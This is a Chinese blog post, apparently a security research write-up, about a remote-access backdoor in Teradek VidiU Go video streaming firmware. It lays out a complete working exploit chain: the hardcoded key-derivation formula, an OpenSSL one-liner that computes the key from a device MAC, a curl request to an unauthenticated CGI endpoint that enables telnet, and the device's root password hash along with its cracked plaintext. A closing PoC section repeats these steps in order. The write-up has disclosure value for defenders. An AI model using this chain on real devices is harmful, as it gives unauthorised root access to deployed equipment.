前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Teradek IP视频设备固件中的远程代码执行

Teradek IP视频设备固件中的远程代码执行

原创
作者头像
小生观察室
修改2021-09-07 18:10:13
7010
修改2021-09-07 18:10:13
举报
文章被收录于专栏:小生观察室小生观察室

基本介绍

https://teradek.com/collections/vidiu-go-family

Teradek IP视频设备是现场流媒体设备,能够将视频输入(如SDI、HDMI等)编码为各种流媒体格式,能够进行以太网传输。

测试说明

该设备有一个以太网接口,有一个Web管理界面,默认情况下可在http://ip上访问。

Web管理界面受用户定义的密码保护。

  • 下载官方固件

https://teradek.com/pages/downloads

VidiU Go设备的固件是建立在ARM64 Linux内核上

  • 解压固件

https://github.com/plougher/squashfs-tools

  • 其他说明

1.内置了Lighttpd Web服务器

2.根路径是在/home/www

3./home/www/cgi-bin包含.cgi二进制文件

在/usr/lib文件夹中也有重要的依赖项(如.so库)

4.重点关注/home/www/cgi-bin/test.cgi中的后门访问功能

  • 使用ghidra逆向函数

https://github.com/NationalSecurityAgency/ghidra/

1.无需认证即可访问http://ip/cgi-bin/test.cgi

2.用GET参数command=remote-access test.cgi调用/usr/share/system/remote-access.sh

3.脚本/usr/share/system/remote-access.sh可以启动/停止telnetd

任何人都可以通过网络访问设备上的23/tcp端口。

4.为了使用command=remote-access应该提供一个合适的密钥参数,与td_license_create("tdtest", 0, 0)相比较。

  • 反转加密函数显示密钥计算如下:
代码语言:javascript
复制
td_license_create(“tdtest”, 0, 0) = SHA1(SHA512(“0x5f3759df<MAC_ADDRESS_OF_DEVICE>tdtest”))

这意味着密钥计算所需的一切都硬编码在通用固件中,只有MAC地址部分取决于设备。 

由于同一LAN中的人很容易知道MAC地址,因此可以计算出打开telnet接口的密钥。

  • 启用Telnet接口

密钥可以用OpenSSL命令来计算(以MAC地址DE:AD:BE:EF:00:00为例)

代码语言:javascript
复制
echo -n 0x5f3759dfDE:AD:BE:EF:00:00tdtest | openssl dgst -sha512 -binary — | openssl dgst -sha1 — | cut -d’ ‘ -f2

结果是:2f1a4cf8d815c99f70268c0873c9dffb13015052

现在可以使用以下GET请求启用telnet接口(假设设备IP为192.168.0.10):

代码语言:javascript
复制
curl 'http://192.168.0.10/cgi-bin/test.cgi?key=2f1a4cf8d815c99f70268c0873c9dffb13015052&command=remote-access&enable=1'

HTTP响应是500(如果密钥错误则为404),但Telnet接口已启用。如果要禁用,只需使用enable=0

代码语言:javascript
复制
curl 'http://192.168.0.10/cgi-bin/test.cgi?key=2f1a4cf8d815c99f70268c0873c9dffb13015052&command=remote-access&enable=0'
  • 凭证信息

根凭据。现在Telnet已启用,连接时会给出登录提示。有关凭据,可在固件映像中查找/etc/shadow

代码语言:javascript
复制
root:HjMedVB3oPf0o:11851:0:99999:7:::

这是一个传统的弱Unix crypt()DES哈希值,在很短的时间内(3天)可以100%破解。

此外,在破解之后,密码被证明是非常弱的

破解后的root权限凭证

代码语言:javascript
复制
root:upsetdac

POC

1.枚举MAC地址(DE:AD:BE:EF:00:00)

2.计算密钥:echo -n 0x5f3759dfDE:AD:BE:EF:00:00tdtest | openssl dgst -sha512 -binary - | openssl dgst -sha1 - | cut -d' ' -f2 结果是2f1a4cf8d815c99f70268c0873c9dffb13015052

3.启动Telnetcurl ‘http://192.168.0.10/cgi-bin/test.cgi?key=2f1a4cf8d815c99f70268c0873c9dffb13015052&command=remote-access&enable=1'4.登录Telnet:192.168.0.10,用户为root,密码为upsetdac

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本介绍
  • 测试说明
  • POC
相关产品与服务
物联网设备身份认证
物联网设备身份认证(IoT Trust ID,IoT TID)为客户提供多安全等级、跨平台、资源占用少的物联网设备身份认证服务。产品提供软加固、TEE和安全芯片等载体类型,通过使用国际主流加密算法和国密算法,帮助客户全面提升物联网设备接入认证与数据的安全性。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档